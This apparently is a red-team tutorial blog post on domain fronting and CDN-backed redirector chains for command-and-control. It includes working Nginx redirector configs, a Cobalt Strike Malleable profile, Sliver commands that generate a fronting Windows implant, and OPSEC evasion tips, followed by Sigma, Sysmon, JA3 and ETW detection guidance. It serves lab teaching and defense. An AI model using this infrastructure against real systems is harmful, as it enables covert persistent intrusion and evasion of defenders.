Domain Fronting and CDN Redirection for C2 Resilience

By Debraj Basak·Aug 4, 2026·14 min readRed Teaming

You stand up a team server on a $5 VPS, slap a self-signed cert on it, and point a beacon straight at the IP. It survives about as long as it takes the SOC to check one firewall log. A raw origin IP with no reputation, no cover traffic, and no way to rotate is dead on arrival. The whole point of mature C2 infrastructure is to make the front-facing layer disposable and the team server untouchable, so that burning one does not cost you the other.

Objective: Understand the TLS/HTTP split that makes domain fronting work, build a full CDN-backed redirector chain against your own lab, configure Cobalt Strike and Sliver to front through it, and then hunt the exact same traffic from the blue side using SNI/Host mismatch, JA3, Sysmon, and ETW.

Everything here runs against infrastructure you own. No third-party front domains, no live targets. The technique maps to MITRE ATT&CK T1090.004 (Proxy: Domain Fronting).


1. Why CDN Infrastructure Buys You the Whole Engagement

A good red team infrastructure has one job: move C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. That means separating roles so no single point of failure gives the defender everything.

ComponentRole
Team ServerBackend C2 (Cobalt Strike, Sliver, Havoc). Never directly exposed.
Redirector / RelayNginx or Apache forwarder between the CDN and team server. Filters non-C2 traffic.
CDN DistributionCloudFront distribution, Azure Front Door endpoint, or Cloudflare Worker. The front-facing layer.
Front Domain (SNI)High-reputation domain served by the CDN. The decoy destination passive inspection sees.
Host Header / OriginYour CDN distribution FQDN or custom domain, routing to your redirector.

If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, you spin up a new one and re-point the CDN. The team server stays put, sessions intact. That layering is the entire value proposition.


2. How Domain Fronting Works: TLS, SNI, and the Host Header

Domain fronting exploits a routing quirk in CDNs that host many customers behind the same edge. The trick is putting one domain in the TLS SNI field and a different domain in the HTTP Host header. The perimeter firewall reads the SNI in cleartext and sees a benign, high-reputation domain. The CDN, after it decrypts the tunnel, reads the Host header and routes to wherever that points, which is you.

Here is the split, layer by layer:

LayerFieldSeen by network/firewallActed on by CDN
TLS (outer)SNI (server_name in ClientHello)trusted-front.cdn.net, cleartextSelects the TLS cert to present
HTTP (inner, inside TLS)Host headerEncrypted, invisible to passive inspectionRoutes to the real C2 origin

The SNI is a TLS extension (RFC 6066), sent in the ClientHello in plaintext because the client has to tell the server which cert to serve before the tunnel exists. A firewall without TLS interception can only see this. The Host header lives inside the encrypted payload and carries the true backend target. The CDN edge terminates TLS using the front domain’s cert, reads the decrypted Host, and reverse-proxies to the configured origin regardless of which SNI opened the connection.

Roughly, the flow on the wire:

[Beacon] --ClientHello (SNI: trusted-front.cdn.net)--> [Perimeter FW: "just a CDN, allow"]
        --TLS established with front-domain cert--> [CDN Edge]
        --decrypt--> reads HTTP Host: your-distro.cloudfront.net
        --reverse proxy--> [Your Redirector] --> [Team Server]

There is also a “domainless” variant: leave the SNI field blank entirely. Some CDNs that try to enforce SNI-to-Host matching will ignore a blank SNI, letting the front still work. Whether that flies depends entirely on the provider.


Flow diagram showing how a beacon's ClientHello SNI passes a perimeter firewall as a trusted CDN domain, while the CDN reads the hidden Host header to route traffic to the attacker's redirector and then team server.
The CDN edge terminates TLS on the front domain’s cert, then routes internally based on the Host header the firewall never sees.

3. CDN Provider Landscape: What Still Works

Be honest with yourself here, because operators waste days trying classic cross-customer fronting on providers that killed it years ago. Two distinct patterns matter:

  • Classic domain fronting: front domain does not belong to you, you both just happen to sit on the same CDN.
  • CDN-as-redirector: your own CDN distribution fronts your own origin. This is what still works reliably and is the primary lab focus.
ProviderClassic cross-customer frontingCDN-as-redirector
AWS CloudFrontBlocked since 2018 (enforces SNI/Host match)Works: own distribution to own origin
Google App EngineBlocked since 2018Limited
Azure Front Door / Azure CDNConfig-dependent; profiles have used Fastly and AzureEdgeWorks, varies by tier
FastlyConfig-dependentViable
CloudflareConfig-dependentViable (Workers / Tunnels)

Classic fronting got harder as providers cracked down, but variations like “domain hiding” work in similar ways, and CDN-as-redirector remains fully viable. When you read a 2016 blog promising you can front through some giant consumer domain, assume it is dead and test in your lab before you rely on it.


4. Lab Setup: Building the Full Redirector Chain

Lab topology: a Windows 10/11 victim VM (Defender on), an Ubuntu 22.04 team server, an Ubuntu 22.04 redirector running Nginx, and a Cloudflare (free tier) or CloudFront distribution pointed at the redirector. Use a cheap personal domain for the lab, or /etc/hosts entries if you keep everything local.

Phase 1: Provision the redirector

# On the redirector VM
sudo apt install nginx -y

# Self-signed cert for the redirector-to-teamserver leg (Let's Encrypt if you have a real domain)
openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/c2.key \
  -out /etc/ssl/certs/c2.crt -days 365 -nodes -subj "/CN=lab-redirector"

Phase 2: Nginx redirector config

The redirector forwards only known C2 URI patterns and 302s everything else to a decoy. Scanners, sandboxes, and curious analysts get bounced to Microsoft’s homepage. Real beacon traffic gets proxied to the team server.

# /etc/nginx/sites-available/c2-redirect
server {
    listen 443 ssl;
    ssl_certificate     /etc/ssl/certs/c2.crt;
    ssl_certificate_key /etc/ssl/private/c2.key;

    # Forward only your C2 URIs
    location ~* ^/(beacon|updates|check-in) {
        proxy_pass          https://<TEAM_SERVER_IP>:443;
        proxy_set_header    Host $host;      # preserve Host for the team server
        proxy_ssl_verify    off;
    }

    # Everything else is a scanner: bounce it
    location / {
        return 302 https://www.microsoft.com;
    }
}

Lock the redirector down further with allow/deny ACLs so only the CDN’s published egress ranges can hit port 443. If a defender resolves your CDN and tries to connect from anywhere else, the redirector never answers.

Phase 3: CDN distribution (Cloudflare example)

DNS:      lab-c2.yourdomain.com  ->  <REDIRECTOR_IP>   (proxied, orange cloud ON)
SSL/TLS:  Full (strict)
Firewall: allow only CDN egress IPs -> redirector:443

With the orange cloud on, lab-c2.yourdomain.com resolves to Cloudflare edge IPs, not your redirector. The victim never sees your infrastructure’s real address.


Hierarchy diagram of the lab topology: victim connects to a Cloudflare CDN edge, which forwards to an Nginx redirector that routes matched C2 URIs to the team server and bounces scanners to a decoy URL.
Each layer is disposable independently – burning the CDN endpoint or redirector never exposes the team server.

5. Cobalt Strike Malleable C2 Profile for CDN Fronting

Malleable C2 lets you shape Beacon traffic to look like something legitimate. For fronting, the single load-bearing detail is the Host header, and it must appear in both the http-get -> client and http-post -> client blocks. Miss one and your POSTs sail past the CDN unrouted while GETs work, which produces a maddening half-broken beacon.

# profiles/cdn-front.profile
set sleeptime "5000";
set jitter     "20";
set useragent  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/beacon";
    client {
        header "Host" "lab-c2.yourdomain.com";   # CDN-fronted hostname
        header "Accept" "*/*";
    }
}
http-post {
    set uri "/updates";
    client {
        header "Host" "lab-c2.yourdomain.com";   # MUST also be here
        header "Content-Type" "application/octet-stream";
    }
}
ssl-certificate {
    set CN "lab-c2.yourdomain.com";
}

CloudFront and most CDNs require your origin to present a valid SSL certificate, so the ssl-certificate block is not optional. Validate before you start anything:

./c2lint profiles/cdn-front.profile
./teamserver "$TEAM_SERVER_IP" "$PASSWORD" profiles/cdn-front.profile

Here is the gotcha that cost me the better part of an afternoon once: a profile that passes c2lint is not guaranteed to work through a CDN. The CDN edge can rewrite HTTP requests. It may strip headers, reorder them, normalise casing, or inject its own (X-Forwarded-For, Via, CF-Ray). If your profile encodes metadata into a header the CDN mangles, the beacon checks in but the tasking silently corrupts. Always capture a real request through the full chain and diff it against what your profile expects. c2lint validates syntax, not the behaviour of somebody else’s edge.


6. Sliver: The Open-Source Alternative

If you do not have a Cobalt Strike license, Sliver supports fronting natively and is free. The relevant knobs are --domain for the front and --host-header for the routing hostname.

# Start the Sliver server
sliver-server

# Generate an HTTPS implant that fronts
generate --http lab-c2.yourdomain.com --host-header lab-c2.yourdomain.com \
         --os windows --arch amd64 --format exe --save /tmp/beacon.exe

# Start the HTTPS listener
https --domain lab-c2.yourdomain.com --lport 443

Sliver also offers mTLS and WireGuard listeners if you want a non-HTTP channel for the fallback leg. As with Cobalt Strike, the utility of fronting comes down to the CDN provider’s enforcement posture, so test the full chain, not just the listener. Verify the flags against your installed Sliver version; the CLI has churned across releases.


7. Serverless Relay: The AzureC2Relay Pattern

You can push the redirector into serverless and get profile-aware validation for free. AzureC2Relay is an Azure Function with an HTTP(S) trigger that validates incoming Beacon traffic against a Cobalt Strike Malleable C2 profile. Requests that do not match the profile’s user-agent, URI paths, headers, and query parameters get redirected to a configurable decoy site. Validated traffic is relayed to a team server inside the same virtual network, further fenced off by a network security group.

The win is twofold. The function scales and rotates trivially, and the team server never touches the public internet: it lives in a VNet reachable only from the function. A defender who somehow enumerates the Azure Function still hits a validator that speaks only to beacons matching your exact profile.


8. OPSEC Hardening for CDN Infrastructure

Fronting hides the destination, not sloppy tradecraft. Harden the whole chain.

TechniqueAbuse Scenario
Domain aging + categorizationRegister front-adjacent domains early; get them categorized as benign before the op
WHOIS privacyPrevent attribution linking your domains together
Role segmentationSeparate boxes for staging, long-haul, and phishing so one burn does not cascade
CDN IP allowlistingRedirector accepts only CDN egress ranges; direct scans get nothing
Kill-switch routingRe-point the CDN origin to a decoy the instant infrastructure is burned
TLS randomizationVary JA3 parameters so default C2 fingerprints do not give you away

That last one matters more than most operators realise, which brings us to how the blue team actually catches all of this.


9. Common Attacker Techniques

TechniqueDescription
Classic domain frontingFront domain differs from origin; both share a CDN edge (largely blocked now)
CDN-as-redirectorOwn CDN distribution fronts own origin; the durable pattern
Domainless frontingBlank SNI to defeat SNI/Host match enforcement
Serverless relayAzure Function / Worker validates and relays profile-matching traffic only
Malleable traffic shapingBeacon HTTP made to mimic legitimate app traffic via profiles

10. Defensive Strategies & Detection

Domain fronting is genuinely one of the harder C2 techniques to catch, precisely because nearly every enterprise pours enormous legitimate traffic at CDNs all day. Detection without tuning is a firehose of false positives. That said, several signals are high-confidence.

TLS inspection: the SNI/Host mismatch

The single strongest detection is decrypting TLS at the perimeter and comparing the SNI to the HTTP Host header. In classic fronting they differ, and that mismatch is a near-definitive tell. A proxy that intercepts TLS can compare the Host header to the connection’s SNI, and on mismatch overwrite the domain, log it, and alert. This is MITRE DET0196: outbound HTTPS where the TLS SNI does not match the HTTP Host, especially from curl, wget, or custom binaries with a mismatched or absent SNI targeting CDN-hosted endpoints.

Note the honest limitation: in the CDN-as-redirector model your SNI and Host are often the same value, so there is no mismatch to catch. That is why you also need behavioural and fingerprint detection.

JA3/JA3S fingerprinting

JA3 hashes the TLS handshake into a signature of how the client behaves. Cobalt Strike’s default JA3 hashes are widely published, and crucially these fingerprints survive domain fronting because they reflect the TLS client, not the domain it connects to. Feed pcap into Zeek or write Suricata rules against the tls.ja3 field to flag known C2 handshakes regardless of the front.

Sysmon telemetry

Event IDNameRelevance
EID 3NetworkConnectOutbound connections with DestinationIp, DestinationHostname; correlate CDN connections to the process
EID 22DNSQueryCDN FQDN lookups; hunt unusual processes resolving CDN domains
EID 1ProcessCreateParent/child anomalies around the beacon
EID 7ImageLoadedDLL loads for injected beacons

The high-value hunt is a non-browser process making CDN connections. powershell.exe or rundll32.exe resolving .cloudfront.net is not normal.

title: Non-Browser Process Beaconing to CDN Endpoint
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    DestinationHostname|endswith:
      - '.cloudfront.net'
      - '.azureedge.net'
      - '.fastly.net'
      - '.workers.dev'
  filter:
    Image|endswith:
      - '\chrome.exe'
      - '\msedge.exe'
      - '\firefox.exe'
  condition: selection and not filter
level: high

ETW and native audit

ETW ProviderCaptures
Microsoft-Windows-WinINetHTTP/S transactions including Host headers from WinINet-based C2
Microsoft-Windows-DNS-ClientDNS resolution events
Microsoft-Windows-TCPIPTCP connection telemetry

Where Sysmon is not deployed, Security Event 5156 (Filtering Platform Connection) logs allowed connections with local/remote address and port. Enable it with:

auditpol /set /subcategory:"Filtering Platform Connection" /success:enable

Verify ETW provider GUIDs on your own host with logman query providers before you build detections on them.

Beaconing analysis

Fronted C2 still beacons. Periodic, small, regularly timed connections to CDN ranges deserve investigation even when you cannot read the headers. Baseline your legitimate CDN traffic per process first; the anomaly is the point.


Graph diagram showing five blue-team detection signal sources - TLS inspection, JA3 fingerprinting, Sysmon endpoint telemetry, ETW host header capture, and beaconing analysis - each feeding into a central SOC alert pipeline.
No single detection catches all fronting variants; defenders need overlapping signals across network and endpoint layers.

11. Lab Exercise: Full Chain, Red vs. Blue

Run the whole thing end to end.

Red, verify the front works:

# On the victim VM: resolves to CDN edge, not your team server
Resolve-DnsName lab-c2.yourdomain.com
.\beacon.exe

Confirm in Wireshark that the ClientHello SNI is lab-c2.yourdomain.com and the Host header is invisible inside the TLS payload. Your team server logs should show the connection sourced from a CDN egress IP, never the victim’s address.

Blue, expose the Host header:

# Transparent TLS intercept to reveal the inner Host
mitmproxy --mode transparent --ssl-insecure

In the mitmproxy console, compare SNI against Host per flow. In the CDN-as-redirector model they match, so you fall back to JA3 (run the pcap through Zeek) and to the Sysmon EID 3 hunt for a non-browser process talking to a CDN. In a classic fronting setup the SNI would read as a third-party front while the Host reads your origin, and that gap is your alert.


12. Tools for CDN C2 Analysis

ToolDescriptionLink
Cobalt StrikeCommercial C2 with Malleable profiles and c2lintcobaltstrike.com
SliverOpen-source C2 with native fronting flagsgithub.com/BishopFox/sliver
NginxRedirector / reverse proxynginx.org
ZeekJA3 generation and network telemetry from pcapzeek.org
SuricataIDS with tls.ja3 rule supportsuricata.io
mitmproxyTLS intercept to reveal Host vs SNImitmproxy.org
WiresharkPacket inspection of the ClientHello SNIwireshark.org
SysmonEndpoint EID 3/22/1/7 telemetrylearn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Proxy: Domain FrontingT1090.004SNI/Host mismatch via TLS inspection (DET0196)
ProxyT1090Beaconing to CDN ranges from unusual processes
Proxy: External ProxyT1090.002CDN-as-redirector without full front
Web ServiceT1102CDN/cloud-hosted C2 channel analysis
Application Layer Protocol: WebT1071.001HTTP/S C2 transport inspection
Acquire Infrastructure: DomainsT1583.001Newly registered / low-reputation front domains
Acquire Infrastructure: ServerT1583.004Redirector and team server provisioning
Obfuscated Files and InformationT1027Malleable profile traffic shaping

Summary

  • Domain fronting hides the C2 destination by splitting the TLS SNI from the HTTP Host header, letting the CDN route to your origin while the firewall sees a benign domain.
  • Classic cross-customer fronting is largely dead on CloudFront and App Engine; the durable pattern is CDN-as-redirector fronting your own distribution to your own origin.
  • Resilience comes from layering: disposable CDN and redirector out front, an untouchable team server behind, so burning one layer never costs the session.
  • The Host header must appear in both http-get and http-post client blocks, and passing c2lint does not mean the CDN will not rewrite your traffic.
  • Defenders catch it with TLS inspection (SNI/Host mismatch, DET0196), JA3 fingerprinting that survives the front, Sysmon EID 3 hunts for non-browser CDN connections, and beaconing analysis, all of which demand heavy baselining because legitimate CDN traffic is enormous.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.